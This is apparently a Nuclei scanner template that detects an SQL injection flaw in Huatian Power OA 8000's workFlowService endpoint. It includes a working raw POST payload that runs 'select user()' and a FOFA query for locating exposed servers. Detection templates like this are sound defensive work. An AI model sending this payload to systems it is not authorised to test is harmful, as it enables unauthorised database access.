id: huatian-oa-sqli

info:
  name: Huatian Power OA 8000 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000. An attacker can exploit this vulnerability to obtain sensitive database information.
  reference:
    - https://blog.csdn.net/qq_41617034/article/details/124305120
  metadata:
    verified: true
    max-request: 1
    fofa-query: "app=\"华天动力-OA8000\""
  tags: huatian,oa,sqli

http:
  - raw:
      - |
        POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
        Host: {{Hostname}}

        <buffalo-call>
        <method>getDataListForTree</method>
        <string>select user()</string>
        </buffalo-call>

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<list>" ,"<string>user()" ,"<length>")'
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100af8a059bc9fc7e5cf110af2fc003c8127096e1ef8fe4dd2eaf05ecc4587d31cb022058a2d89fa08197a9d56c3753cd34c160a550808a0345b4b314ad6f58a5769fd3:922c64590222798bb761d5b6d8e72950